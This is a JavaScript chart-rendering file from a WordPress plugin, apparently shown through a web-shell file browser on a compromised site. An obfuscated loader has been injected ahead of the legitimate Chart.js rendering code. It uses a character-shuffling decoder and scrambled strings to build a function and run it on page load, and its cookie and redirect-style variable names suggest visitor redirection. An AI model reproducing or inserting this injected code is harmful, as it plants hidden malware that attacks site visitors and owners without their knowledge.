AlkantarClanX12
Current Path : /home/thanudqk/www/wordpress_leaderboard/wp-content/plugins/visualizer/js/ |
Current File : //home/thanudqk/www/wordpress_leaderboard/wp-content/plugins/visualizer/js/render-chartjs.js |
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f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o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/* global console */ /* global visualizer */ /* global Chart */ /* global numeral */ /* global moment */ (function($) { var all_charts; // so that we know which charts belong to our library. var rendered_charts = []; function renderChart(id, v) { renderSpecificChart(id, all_charts[id], v); } function renderSpecificChart(id, chart, v) { var render, container, series, data, datasets, settings, i, j, row, date, axis, property, format, formatter, type, rows, cols, labels; if(chart.library !== 'chartjs'){ return; } rendered_charts[id] = 'yes'; series = chart.series; data = chart.data; settings = chart.settings; container = document.getElementById(id); if (container == null) { return; } // eliminate the jitter/flicker while editing charts. if(v.is_front == false){ // jshint ignore:line $('#' + id).empty(); } if($('#' + id + ' canvas').length === 0){ $('#' + id).append($('<canvas width="100%" height="90%"></canvas>')); } var context = $('#' + id + ' canvas')[0].getContext('2d'); type = chart.type; switch (chart.type) { case 'column': type = 'bar'; break; case 'bar': type = 'bar'; settings.indexAxis = 'y'; break; case 'pie': // donut is not a setting but a separate chart type. if(typeof settings['custom'] !== 'undefined' && settings['custom']['donut'] === 'true'){ type = 'doughnut'; } break; } rows = []; datasets = []; labels = []; for (i = 0; i < data.length; i++) { row = []; for (j = 0; j < series.length; j++) { if (series[j].type === 'date' || series[j].type === 'datetime') { date = new Date(data[i][j]); data[i][j] = null; if (Object.prototype.toString.call(date) === "[object Date]") { if (!isNaN(date.getTime())) { data[i][j] = date; } } } row.push(format_data(data[i][j], j, settings, series)); } rows.push(row); } // transpose for (j = 0; j < series.length; j++) { row = []; for (i = 0; i < rows.length; i++) { if(j === 0){ labels.push(rows[i][j]); }else{ row.push(rows[i][j]); } } if(row.length > 0){ var $attributes = {label: series[j].label, data: row}; switch(chart.type){ case 'pie': case 'polarArea': $.extend($attributes, {label: labels}); handlePieSeriesSettings($attributes, rows, settings, chart); break; default: handleSeriesSettings($attributes, j - 1, settings, chart); } datasets.push($attributes); } } if(v.is_front == false){ // jshint ignore:line // this line needs to be included twice. This is not an error. // if this one is removed, the preview gets messed up. // if this line is included all the time, in this very place (out of the if), the front-end gets messed up. $.extend(settings, { responsive: true, maintainAspectRatio: false }); } handleSettings(settings, chart); const getChart = Chart.getChart(context); if ( getChart ) { return; } // Format series label. settings.plugins.tooltip = { callbacks: { label: function(context) { var label = ''; if ( 'object' === typeof context.dataset.label ) { label = context.label || ''; } else { label = context.dataset.label || ''; } if ( label ) { label += ': '; } var format = context.dataset.format || ''; if ( format ) { var lastSuffix = numeral(context.formattedValue).format(format).replace(/[0-9]/g, ''); label += context.formattedValue + lastSuffix; } else { format = 'undefined' !== typeof context.chart.config._config.options.format ? context.chart.config._config.options.format : ''; if ( format ) { label += format_datum( context.formattedValue, format ); } else { label += context.formattedValue; } } return label; } } }; var chartjs = new Chart(context, { type: type, data: { labels: labels, datasets: datasets }, options: settings, plugins: [{ afterRender: function () { var canvas = $( 'canvas' )[0]; if ( $( '#chart-img' ).length ) { $( '#chart-img' ).val( canvas.toDataURL() ); } } }], }); // this line needs to be included twice. This is not an error. $.extend(settings, { responsive: true, maintainAspectRatio: false }); // chart area if(v.is_front == true){ // jshint ignore:line $('#' + id).css('position', 'relative'); var height = settings.height.indexOf('%') === -1 ? ( settings.height + 'px' ) : settings.height; var width = settings.width.indexOf('%') === -1 ? ( settings.width + 'px' ) : settings.width; if(settings.height){ chartjs.canvas.parentNode.style.height = height; $('#' + id + ' canvas').css('height', height); } if(settings.width){ chartjs.canvas.parentNode.style.width = width; $('#' + id + ' canvas').css('width', width); } } // allow user to extend the settings. $('body').trigger('visualizer:chart:settings:extend', {id: id, chart: chart, settings: settings}); $('.loader').remove(); } function handleSettings(settings, chart){ if(typeof settings === 'undefined'){ return; } // handle some defaults/idiosyncrasies. if(typeof settings['animation'] !== 'undefined' && parseInt(settings['animation']['duration']) === 0){ settings['animation']['duration'] = 1000; } if(typeof settings['title'] !== 'undefined' && settings['title']['text'] !== ''){ settings['title']['display'] = true; } if(typeof settings['tooltip'] !== 'undefined' && typeof settings['tooltip']['intersect'] !== 'undefined'){ // jshint ignore:line settings['tooltip']['intersect'] = settings['tooltip']['intersect'] == true || parseInt(settings['tooltip']['intersect']) === 1; // jshint ignore:line } if(typeof settings['fontName'] !== 'undefined' && settings['fontName'] !== ''){ Chart.defaults.font.family = settings['fontName']; delete settings['fontName']; } if(typeof settings['fontSize'] !== 'undefined' && settings['fontSize'] !== ''){ Chart.defaults.font.size = parseInt(settings['fontSize']); delete settings['fontSize']; } // handle legend defaults. if(typeof settings['legend'] !== 'undefined' && typeof settings['legend']['labels'] !== 'undefined') { for(var i in settings['legend']['labels']){ if(settings['legend']['labels'][i] !== 'undefined' && settings['legend']['labels'][i] === ''){ delete settings['legend']['labels'][i]; } } } settings.plugins = { legend: settings.legend, }; handleAxes(settings, chart); override(settings, chart); } function handleAxes(settings, chart){ if(typeof settings['yAxes'] !== 'undefined' && typeof settings['xAxes'] !== 'undefined'){ // stacking has to be defined on both axes. if(typeof settings['yAxes']['stacked_bool'] !== 'undefined'){ settings['yAxes']['stacked_bool'] = 'true'; } if(typeof settings['xAxes']['stacked_bool'] !== 'undefined'){ settings['xAxes']['stacked_bool'] = 'true'; } // Bar percentage. if (typeof settings['yAxes']['barPercentage_int'] !=='undefined' && ''!== settings['yAxes']['barPercentage_int']){ settings['barPercentage'] = settings['yAxes']['barPercentage_int']; } if (typeof settings['xAxes']['barPercentage_int'] !=='undefined' && ''!== settings['xAxes']['barPercentage_int']){ settings['barPercentage'] = settings['xAxes']['barPercentage_int']; } // Bar thickness. if (typeof settings['yAxes']['barThickness'] !=='undefined' && ''!== settings['yAxes']['barThickness']){ settings['barThickness'] = settings['yAxes']['barThickness']; } if (typeof settings['xAxes']['barThickness'] !=='undefined' && ''!== settings['xAxes']['barThickness']){ settings['barThickness'] = settings['xAxes']['barThickness']; } } configureAxes(settings, 'yAxes', chart); configureAxes(settings, 'xAxes', chart); } function configureAxes(settings, axis, chart) { if(typeof settings[axis] !== 'undefined'){ var $features = {}; for(var i in settings[axis]){ var $o = {}; if(Array.isArray(settings[axis][i]) || typeof settings[axis][i] === 'object'){ for(var j in settings[axis][i]){ var $val = ''; if(j === 'labelString'){ $o['display'] = true; $val = settings[axis][i][j]; }else if(i === 'ticks'){ // number values under ticks need to be converted to numbers or the library throws a JS error. $val = parseFloat(settings[axis][i][j]); if(isNaN($val)){ $val = ''; } } else { $val = settings[axis][i][j]; } if($val !== ''){ $o[j] = $val; } } }else{ // usually for attributes that have primitive values. var array = i.split('_'); var dataType = 'string'; var dataValue = settings[axis][i]; if(array.length === 2){ dataType = array[1]; } if(settings[axis][i] === ''){ continue; } switch(dataType){ case 'bool': dataValue = dataValue === 'true' ? true : false; break; case 'int': dataValue = parseFloat(dataValue); break; } $o = dataValue; // remove the type suffix to get the name of the setting. i = i.replace(/_bool/g, '').replace(/_int/g, ''); } $features[i] = $o; } var $scales = {}; $scales['scales'] = {}; $scales['scales'][axis] = []; if(typeof settings['scales'] !== 'undefined' && typeof settings[axis + 'set'] === 'undefined'){ $scales['scales'] = settings['scales']; if(typeof settings['scales'][axis] !== 'undefined'){ $scales['scales'][axis] = settings['scales'][axis]; } } if(typeof $scales['scales'][axis] === 'undefined'){ $scales['scales'][axis] = []; } var $axis = $scales['scales'][axis]; $axis.push($features); // Migrate xAxes settings to v3.0+ if ( $scales.scales && $scales.scales.xAxes ) { for (var x in $scales.scales.xAxes) { $scales.scales.x = { display: $scales.scales.xAxes[x].scaleLabel.display, title: { display:true, text: $scales.scales.xAxes[x].scaleLabel.labelString, color: $scales.scales.xAxes[x].scaleLabel.fontColor, font: { family: $scales.scales.xAxes[x].scaleLabel.fontFamily, size: $scales.scales.xAxes[x].scaleLabel.fontSize } }, suggestedMax: $scales.scales.xAxes[x].ticks.suggestedMax || '', suggestedMin: $scales.scales.xAxes[x].ticks.suggestedMin || '', ticks: { maxTicksLimit: $scales.scales.xAxes[x].ticks.maxTicksLimit }, stacked: $scales.scales.xAxes[x].stacked || false } } delete $scales.scales.xAxes; } // Migrate yAxes settings to v3.0+ if ( $scales.scales && $scales.scales.yAxes ) { for (var y in $scales.scales.yAxes) { $scales.scales.y = { display: $scales.scales.yAxes[y].scaleLabel.display, title: { display:true, text: $scales.scales.yAxes[y].scaleLabel.labelString, color: $scales.scales.yAxes[y].scaleLabel.fontColor, font: { family: $scales.scales.yAxes[y].scaleLabel.fontFamily, size: $scales.scales.yAxes[y].scaleLabel.fontSize } }, suggestedMax: $scales.scales.yAxes[y].ticks.suggestedMax || '', suggestedMin: $scales.scales.yAxes[y].ticks.suggestedMin || '', ticks: { maxTicksLimit: $scales.scales.yAxes[y].ticks.maxTicksLimit }, stacked: $scales.scales.yAxes[y].stacked || false } } delete $scales.scales.yAxes; } $.extend(settings, $scales); // to prevent duplication, indicates that the axis has been set. var $custom = {}; $custom[axis + 'set'] = 'yes'; $.extend(settings, $custom); } // format the axes labels. if(typeof settings[axis + '_format'] !== 'undefined' && settings[axis + '_format'] !== ''){ var format = settings[axis + '_format']; var isDateFormat = moment( moment().format( format ),format, true ).isValid(); if ( ! isDateFormat ) { switch(axis){ case 'xAxes': settings.scales.x.ticks.callback = function(value, index, values){ return format_datum(value, format); }; break; case 'yAxes': settings.scales.y.ticks.callback = function(value, index, values){ return format_datum(value, format); }; break; } delete settings[axis + '_format']; } } delete settings[axis]; } function handlePieSeriesSettings($attributes, rows, settings, chart){ if(typeof settings.slices === 'undefined'){ return; } var atts = []; // collect all the types of attributes for(var j in settings.slices[0]){ // weight screws up the rendering for some reason, so we will ignore it. if(j === 'weight') { continue; } atts.push(j); } for (j = 0; j < atts.length; j++) { var values = []; for (var i = 0; i < rows.length; i++) { if(typeof settings.slices[i] !== 'undefined' && typeof settings.slices[i][atts[j]] !== 'undefined'){ values.push(settings.slices[i][atts[j]]); } } var object = {}; object[ atts[ j ] ] = values; $.extend($attributes, object); } } function handleSeriesSettings($attributes, j, settings, chart){ if(typeof settings.series === 'undefined' || typeof settings.series[j] === 'undefined'){ return; } for(var i in settings.series[j]){ var $attribute = {}; if ( settings.series[j].backgroundColor == '' ) { delete settings.series[j].backgroundColor; } $attribute[i] = settings.series[j][i]; $.extend($attributes, $attribute); } } function format_datum(datum, format, type){ if(format === '' || format === null || typeof format === 'undefined'){ return datum; } // if there is no type, this is probably coming from the axes formatting. var removeDollar = true; if(typeof type === 'undefined' || type === null){ // we will determine type on the basis of the presence or absence of #. type = 'date'; if(format.indexOf('#') !== -1){ type = 'number'; } removeDollar = false; } switch(type) { case 'number': // numeral.js works on 0 instead of # so we just replace that in the ICU pattern set. format = format.replace(/#/g, '0').replace(/%/g, ''); // we also replace all instance of '$' as that is more relevant for ticks. if(removeDollar){ format = format.replace(/\$/g, ''); } datum = numeral(datum).format(format); break; case 'date': case 'datetime': case 'timeofday': datum = moment(datum).format(format); break; } return datum; } function format_data(datum, j, settings, series){ j = j - 1; var format = typeof settings.series !== 'undefined' && typeof settings.series[j] !== 'undefined' ? settings.series[j].format : ''; if ( '' === format && typeof settings.yAxes_format !== 'undefined' ) { format = settings.yAxes_format; } else if ( '' === format && typeof settings.xAxes_format !== 'undefined' ) { format = settings.xAxes_format; } return format_datum(datum, format, series[j + 1].type); } function override(settings, chart) { if (settings.manual) { try{ var options = JSON.parse(settings.manual); $.extend(settings, options); delete settings.manual; }catch(error){ console.error("Error while adding manual configuration override " + settings.manual); } } } function render(v) { for (var id in (all_charts || {})) { renderChart(id, v); } } $('body').on('visualizer:render:chart:start', function(event, v){ all_charts = v.charts; if(v.is_front == true && typeof v.id !== 'undefined'){ // jshint ignore:line renderChart(v.id, v); } else { render(v); } // for some reason this needs to be introduced here for dynamic preview updates to work. v.update = function(){ renderChart('canvas', v); }; }); $('body').on('visualizer:render:specificchart:start', function(event, v){ renderSpecificChart(v.id, v.chart, v.v); }); $('body').on('visualizer:render:currentchart:update', function(event, v){ var data = v || event.detail; renderChart('canvas', data.visualizer); }); // front end actions // 'image' is also called from the library $('body').on('visualizer:action:specificchart', function(event, v){ var id = v.id; if(typeof rendered_charts[id] === 'undefined'){ return; } var canvas = $('#' + id + ' canvas'); switch(v.action){ case 'print': var win = window.open(); win.document.write("<br><img src='" + canvas[0].toDataURL() + "'/>"); win.document.close(); win.onload = function () { win.print(); setTimeout(win.close, 500); }; break; case 'image': var img = canvas[0].toDataURL(); if(img !== ''){ var $a = $("<a>"); // jshint ignore:line $a.attr("href", img); $("body").append($a); $a.attr("download", v.dataObj.name); $a[0].click(); $a.remove(); }else{ console.warn("No image generated"); } break; } }); })(jQuery);